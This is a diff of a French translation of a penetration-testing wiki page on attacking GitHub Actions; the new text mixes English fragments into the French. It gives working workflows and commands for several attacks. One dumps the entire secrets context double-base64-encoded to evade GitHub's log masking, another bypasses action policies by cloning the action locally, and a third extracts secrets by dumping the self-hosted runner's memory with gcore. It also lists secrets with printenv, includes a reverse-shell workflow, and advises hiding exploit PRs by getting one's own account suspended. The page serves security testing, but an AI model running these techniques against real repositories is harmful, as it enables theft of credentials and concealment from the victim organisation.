-Un cache est maintenu entre **les exécutions de workflow dans la même branche**. Ce qui signifie que si un attaquant **compromet** un **package** qui est ensuite stocké dans le cache et **téléchargé** et exécuté par un **workflow plus privilégié**, il pourra également **compromettre** ce workflow.
+Un cache est maintenu entre les **wokflow runs in the same branch**. Ce qui signifie que si un attaquant parvient à **compromise** un **package** qui est ensuite stocké dans le cache et **downloaded** et exécuté par un workflow **more privileged**, il pourra également **compromise** ce workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Empoisonnement d'Artifact
+### Artifact Poisoning
 
-Les workflows pourraient utiliser **des artifacts d'autres workflows et même de dépôts**, si un attaquant parvient à **compromettre** l'Action Github qui **télécharge un artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromettre les autres workflows** :
+Les workflows peuvent utiliser des **artifacts from other workflows and even repos**, si un attaquant parvient à **compromise** le Github Action qui **uploads an artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromise the other workflows** :
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,8 +429,33 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post Exploitation d'une Action
+## Post Exploitation from an Action
 
+### Github Action Policies Bypass
+
+Comme expliqué dans [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), même si une repository ou organisation a une policy restreignant l'utilisation de certaines actions, un attaquant pourrait simplement télécharger (`git clone`) une action dans le workflow puis la référencer comme une action locale. Comme les policies n'affectent pas les local paths, **the action will be executed without any restriction.**
+
+Example:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
 ### Accéder à AWS et GCP via OIDC
 
 Consultez les pages suivantes :
@@ -442,13 +470,13 @@ Consultez les pages suivantes :
 
 ### Accéder aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
+Si vous injectez du contenu dans un script, il est utile de savoir comment accéder aux secrets :
 
-- Si le secret ou le token est défini comme une **variable d'environnement**, il peut être directement accessible via l'environnement en utilisant **`printenv`**.
+- Si le secret ou le token est défini dans une **variable d'environnement**, il peut être accédé directement via l'environnement en utilisant **`printenv`**.
 
 <details>
 
-<summary>Liste des secrets dans la sortie de l'Action Github</summary>
+<summary>Lister les secrets dans la sortie de Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Obtenir un shell inversé avec des secrets</summary>
+<summary>Obtenir un reverse shell avec des secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
+- Si le secret est utilisé **directly in an expression**, le script shell généré est stocké **on-disk** et est accessible.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Pour des actions JavaScript, les secrets sont envoyés via des variables d'environnement.
+- For a JavaScript actions the secrets are sent through environment variables
 - ```bash
 ps axe | grep node
 ```
-- Pour une **action personnalisée**, le risque peut varier en fonction de la manière dont un programme utilise le secret qu'il a obtenu de l'**argument** :
+- For a **custom action**, le risque peut varier selon la façon dont un programme utilise le secret qu'il a obtenu depuis l'**argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,27 +542,51 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Abus des runners auto-hébergés
+- Énumérez tous les secrets via le secrets context (collaborator level). Un contributeur avec write access peut modifier un workflow sur n'importe quelle branche pour dumper tous les repository/org/environment secrets. Utilisez double base64 pour contourner le masquage des logs de GitHub et décoder localement:
 
-La manière de trouver quelles **Github Actions sont exécutées dans une infrastructure non-Github** est de rechercher **`runs-on: self-hosted`** dans la configuration yaml de l'Action Github.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'ils sont isolés et détruits, **plus d'une action peut être exécutée en même temps** et l'action malveillante pourrait **voler les secrets** de l'autre.
+Decode locally:
 
-Dans les runners auto-hébergés, il est également possible d'obtenir les **secrets du processus \_Runner.Listener**\_\*\* qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+
+### Abusing Self-hosted runners
+
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+
+**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **voler les secrets** of the other one.
+
+In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Vérifiez [**ce post pour plus d'informations**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
 ### Registre d'images Docker Github
 
-Il est possible de créer des actions Github qui **construisent et stockent une image Docker à l'intérieur de Github**.\
-Un exemple peut être trouvé dans le suivant extensible :
+Il est possible de créer des Github actions qui vont **construire et stocker une Docker image à l'intérieur de Github**.\
+Un exemple se trouve dans l'élément extensible suivant :
 
 <details>
 
-<summary>Action Github Construire & Pousser l'image Docker</summary>
+<summary>Github Action Build & Push Docker Image</summary>
 ```yaml
 [...]
 
@@ -567,28 +619,32 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 
 Comme vous pouvez le voir dans le code précédent, le registre Github est hébergé sur **`ghcr.io`**.
 
-Un utilisateur ayant des permissions de lecture sur le dépôt pourra alors télécharger l'image Docker en utilisant un jeton d'accès personnel :
+Un utilisateur avec des permissions de lecture sur le repo pourra alors télécharger la Docker Image en utilisant un personal access token:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Alors, l'utilisateur pourrait rechercher des **secrets divulgués dans les couches d'image Docker :**
+Ensuite, l'utilisateur pourrait rechercher **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Informations sensibles dans les journaux des actions Github
+### Informations sensibles dans les logs de Github Actions
 
-Même si **Github** essaie de **détecter les valeurs secrètes** dans les journaux des actions et **d'éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas cachées. Par exemple, un JWT signé avec une valeur secrète ne sera pas caché à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Même si **Github** tente de **détecter des valeurs secrètes** dans les logs des actions et **éviter de les afficher**, **d'autres données sensibles** qui auraient pu être générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Couvrir vos traces
 
-(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Dans GitHub par défaut, nous **ne pouvons pas supprimer une PR de l'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées de l'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub ou faire flaguer votre compte**. Cela **cacherait toutes vos activités** sur GitHub de l'internet (en gros, supprimer toutes vos PR d'exploitation)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR créée est clairement visible du public sur Github et sur le compte GitHub ciblé. Par défaut, dans GitHub, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a une astuce. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité vous devez soit faire suspendre votre **compte GitHub** ou faire signaler votre compte. Cela **cacherait toutes vos activités** sur GitHub d'internet (supprimerait essentiellement tous vos exploit PR)
 
-Une organisation sur GitHub est très proactive dans le signalement des comptes à GitHub. Tout ce que vous avez à faire est de partager "certaines choses" dans un problème et ils s'assureront que votre compte est suspendu dans les 12 heures :p et voilà, vous avez rendu votre exploitation invisible sur github.
+Une organisation sur GitHub est très proactive pour signaler des comptes à GitHub. Tout ce que vous avez à faire est de partager “some stuff” dans un Issue et ils s'assureront que votre compte soit suspendu en 12 heures :p et voilà, votre exploit rendu invisible sur github.
 
 > [!WARNING]
-> La seule façon pour une organisation de découvrir qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
+> La seule façon pour une organisation de déterminer qu'elle a été ciblée est de vérifier les logs GitHub depuis le SIEM, car depuis l'UI de GitHub la PR serait supprimée.
+
+## Références
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}